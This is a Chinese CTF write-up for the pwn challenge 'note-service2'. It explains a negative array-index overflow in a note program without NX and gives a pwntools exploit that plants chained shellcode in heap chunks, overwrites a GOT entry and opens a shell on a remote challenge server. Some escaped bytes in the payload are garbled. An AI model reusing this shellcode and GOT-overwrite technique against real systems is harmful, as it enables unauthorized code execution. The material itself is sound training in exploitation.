zoukankan      html  css  js  c++  java
  • note-service2

    安全检查

     流程分析

    add函数,这里有一个溢出漏洞,但我没看到-_-||,注意力一直在输入函数和free函数上

     del函数

    漏洞利用

    由于程序没有NX防护,所以堆和栈都有可执行属性(我以前一直以为NX只是对栈取消了可执行效果,原来对堆也有效果),通过add函数没有对数组进行检查,导致数组可以进行负溢出,并且通过偏移地址hook了got.plt来达到get shell效果

     exp

    from pwn import *
    
    #p=process('./note')
    p=remote('220.249.52.134',50441)
    def add(idx,size,content):
        p.recvuntil('>> ')
        p.sendline('1')
        p.recvuntil('index:')
        p.sendline(str(idx))
        p.recvuntil('size:')
        p.sendline(str(size))
        p.recvuntil('content:')
        p.sendline(content)
        
    def delete(idx):
        p.recvuntil('>> ')
        p.sendline('4')
        p.recvuntil('index:')
        p.sendline(str(idx))
    
    add(0,0x8,'a')
    add(1,0x8,asm('mov eax,0x3b')+b'xebx19')
    add(2,0x8,'x48x33xf6x90x90xebx19')
    add(3,0x8,'x48x33xd2x90x90xebx19')
    add(4,0x8,asm('syscall').ljust(7,b'x90'))
    add(5,0x8,'/bin/sh')
    delete(0)
    
    add(-17,0x8,'x48x33xc0x90x90xebx19')
    
    
    
    #gdb.attach(p)
    
    p.interactive()

    感想

    这道题,发现了自己的不足,明白队长为什么要锻炼我的代码审计能力,因为这个数组的负溢出一直没看到,也没去注意,写题也一直是学会别人的解题方式后,再用别人的方式来解下一题,这样周而复始,最大的原因就是代码审计不过关,接下来得要求自己写题目跟写vm题一样有耐心,认真审题,把所有的漏洞都在代码中标记出来,看能利用,再决定要不要看wp

  • 相关阅读:
    继承和多态的纠错
    面向对象的七个设计原则
    C#中简单的继承和多态
    体验套餐管理系统
    项目经理评分(评价)
    考勤信息(员工打卡)
    Python中的进制转换
    Python常用模块
    Tornado中异步框架的使用
    Tornado框架的简单使用
  • 原文地址:https://www.cnblogs.com/pppyyyzzz/p/14152114.html
Copyright © 2011-2022 走看看